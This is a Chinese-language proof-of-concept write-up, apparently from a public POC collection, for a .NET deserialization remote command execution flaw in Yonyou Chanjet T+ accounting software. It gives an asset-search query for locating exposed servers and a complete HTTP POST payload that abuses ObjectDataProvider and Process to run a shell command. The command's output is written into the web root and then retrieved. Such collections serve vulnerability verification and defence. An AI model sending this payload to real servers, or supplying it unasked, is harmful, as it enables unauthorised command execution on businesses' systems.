Awesome-POC/Web应用漏洞/用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞.md
2023-08-28 15:55:36 +08:00

56 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞
## 漏洞描述
用友 畅捷通T+ GetStoreWarehouseByStore 存在 .net反序列化漏洞导致远程命令执行控制服务器
## 漏洞影响
用友 畅捷通T+
## 网络测绘
```
app="畅捷通-TPlus"
```
## 漏洞复现
登录页面
![image-20230704111641427](./images/image-20230704111641427.png)
验证POC
```
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Connection: close
Content-Length: 668
X-Ajaxpro-Method: GetStoreWarehouseByStore
Accept-Encoding: gzip
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo":{
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c whoami > C:/Progra~2/Chanjet/TPlusStd/WebSite/2RUsL6jgx9sGX4GItQBcVfxarBM.txt"
}
}
}
}
```
![image-20230704111653392](./images/image-20230704111653392.png)
```
/tplus/xxx.txt
```
![image-20230704111706616](./images/image-20230704111706616.png)